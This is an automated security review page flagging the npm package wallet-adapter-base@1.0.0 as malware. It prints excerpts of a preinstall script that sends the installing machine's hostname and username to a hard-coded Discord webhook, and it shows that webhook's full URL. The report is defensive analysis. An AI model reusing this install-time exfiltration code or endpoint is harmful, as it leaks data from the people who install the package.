wallet-adapter-base@1.0.0
wallet-adapter-base
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe automatic preinstall hook exfiltrates the hostname and OS username to a package-embedded Discord webhook. This is install-time data exfiltration unrelated to the package's stated purpose.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation, through the manifest's preinstall lifecycle script.
Impact
The webhook operator receives the installing machine's hostname and username.
Mechanism
preinstall.js reads the hostname and OS username, includes them in a message, and posts it to the webhook.
Attack narrative
During installation, the preinstall hook sends the machine hostname and OS username to a hard-coded Discord webhook. It then records a local marker. The package's exported entry point is unrelated to this behavior.
AI rationale
The automatic preinstall hook exfiltrates the hostname and OS username to a package-embedded Discord webhook. This is install-time data exfiltration unrelated to the package's stated purpose.
Evidence
package.jsonpreinstall.js.preinstall-marker.json
Network endpoints1
canary.discord.com/api/webhooks/1566232728179843243/pM5rDIrCRrEpQRbA7ibaiQk1XOQlIftmBacA5s8jD8NvXn5W-rS832DOWHQS-G-j3N6U
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest automatically runs node preinstall.js during installation.
- The hook posts to a hard-coded Discord webhook.
- The message includes the machine hostname and OS username.
- The hook sends that message in an HTTP POST to the webhook.
Evidence against
- The exported index.js function only returns a fixed availability string.
Behavioral surface
EnvironmentVarsFilesystem
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.preinstall = node preinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = node preinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpreinstall.jsView file
6L7: const WEBHOOK_URL = 'https://canary.discord.[redacted]-rS832DOWHQS-G-j3N6U';
L8:
...
L18: writeMarker = marker => fs.writeFileSync(
L19: path.join(__dirname, '.preinstall-marker.json'),
L20: JSON.stringify(marker, null, 2) + '\n'
...
L22: } = {}) {
L23: const message = `Run on ${os.hostname()} as ${os.userInfo().username} at ${timestamp()}`;
L24:
...
L26: package: 'cutekitten-test',
L27: event: process.env.npm[redacted] || 'manual',
L28: timestamp: new Date().toISOString(),
Findings
3 Critical5 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationpreinstall.js
CriticalCredential Exfiltrationpreinstall.js
CriticalTrigger Reachable Dangerous Capabilitypreinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighFixed Authenticated Webhook Data Exfiltrationpreinstall.js
HighTrigger Reachable Credential Exfiltrationpreinstall.js
HighKnown Malware Source Similaritypreinstall.js
HighKnown Malware Source Fingerprint Signaturepreinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
Affected versions and remediation
This report applies to wallet-adapter-base@1.0.0.
See all versions of wallet-adapter-base for other recorded verdicts.
- Avoid installing wallet-adapter-base@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.